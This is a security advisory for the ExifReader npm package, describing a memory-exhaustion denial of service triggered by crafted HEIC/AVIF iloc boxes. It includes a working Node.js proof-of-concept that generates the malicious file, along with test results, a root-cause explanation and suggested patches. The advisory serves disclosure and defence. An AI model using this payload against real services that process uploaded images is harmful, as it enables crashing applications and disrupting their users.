GHSA-pj96-35fp-cfcc
ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion
Quick fix
GHSA-pj96-35fp-cfcc — exifreader: upgrade to the fixed version with the command below.
npm install exifreader@4.41.1Details
## Summary ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious `iloc` box. When `offsetSize`, `lengthSize`, and `baseOffsetSize` are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to `itemCount × extentCount` (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.
## Affected version tested
- npm package: `exifreader` - Version: `4.41.0` - Affected formats: HEIC, AVIF (ISO-BMFF container)
## Root cause
**File:** `src/image-header-iso-bmff-iloc.js`, lines 79–116, function `getItems()`.
The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):
| Field | Controls | |-------|----------| | `offsetSize` | Bytes per extent offset | | `lengthSize` | Bytes per extent length | | `baseOffsetSize` | Bytes per item base offset | | `indexSize` | Bytes per extent index |
The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:
```javascript for (let j = 0; j < item.extentCount; j++) { const extent = {}; extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize); offset += sizes.item.extent.extentIndex; // 0 when indexSize=0 extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize); offset += sizes.item.extent.extentOffset; // 0 when offsetSize=0 extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize); offset += sizes.item.extent.extentLength; // 0 when lengthSize=0 item.extents.push(extent); // allocates unconditionally } ``` When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto `item.extents`. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.
## Reproduction
Save the following as `poc_iloc_dos.js` and run with Node.js against the bundled `dist/exif-reader.js`:
```javascript const fs = require('fs'); const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');
function u32be(n) { return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255]; } function u16be(n) { return [(n >>> 8) & 255, n & 255]; } function str(s) { return Array.from(Buffer.from(s, 'ascii')); } function box(type, content) { return [...u32be(8 + content.length), ...str(type), ...content]; }
const ITEMS = 10000; const EXTENTS = 65535;
const ftyp = box('ftyp', [ ...str('heic'), ...u32be(0), ...str('mif1'), 0, 0, 0, 0, ]);
const ilocPayload = [ 0, 0, 0, 0, 0, 0, ...u16be(ITEMS), ];
for (let i = 0; i < ITEMS; i++) { ilocPayload.push(...u16be(i + 1)); ilocPayload.push(...u16be(0)); ilocPayload.push(...u16be(EXTENTS)); }
const iloc = box('iloc', ilocPayload); const meta = box('meta', [0, 0, 0, 0, ...iloc]); const data = Uint8Array.from([...ftyp, ...meta]);
fs.writeFileSync('/tmp/poc_iloc_dos.heic', data);
console.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);
const start = Date.now(); const timeout = setTimeout(() => { console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`); process.exit(1); }, 30000);
try { ExifReader.load(data.buffer); clearTimeout(timeout); console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`); } catch (e) { clearTimeout(timeout); console.log(`Error: ${e.message}`); }
```
### Scaled test results Run the above with different ITEMS values:
| Items | File size | Extent objects | Parse time | Heap growth | |-------|-----------|---------------|------------|-------------| | 1 | 58 bytes | 65,535 | 0.03s | +4 MB | | 5 | 82 bytes | 327,675 | 0.17s | +16 MB | | 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB | | 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash | | 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) | <img width="1839" height="588" alt="image" src="https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02" />
## Expected behavior
A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either: 1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or 2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).
## Security impact
This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.
**Note:** The impact is established using ExifReader's existing distributed (`dist/exif-reader.js`) code.
## Suggested fix
In `src/image-header-iso-bmff-iloc.js`, in the `getItems()` function, add a maximum per-item extent limit:
```javascript const MAX_EXTENTS_PER_ITEM = 10000;
for (let j = 0; j < item.extentCount; j++) { if (item.extents.length >= MAX_EXTENTS_PER_ITEM) { break; } // ... existing code ... } ```
Alternatively (or additionally), skip the inner loop when all extent field sizes are zero:
```javascript if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) { // Fields are absent per spec; nothing meaningful to read // Still advance offset if extentCount > 0 to maintain correctness continue; } ```
Are you affected?
Enter the version of the package you're using.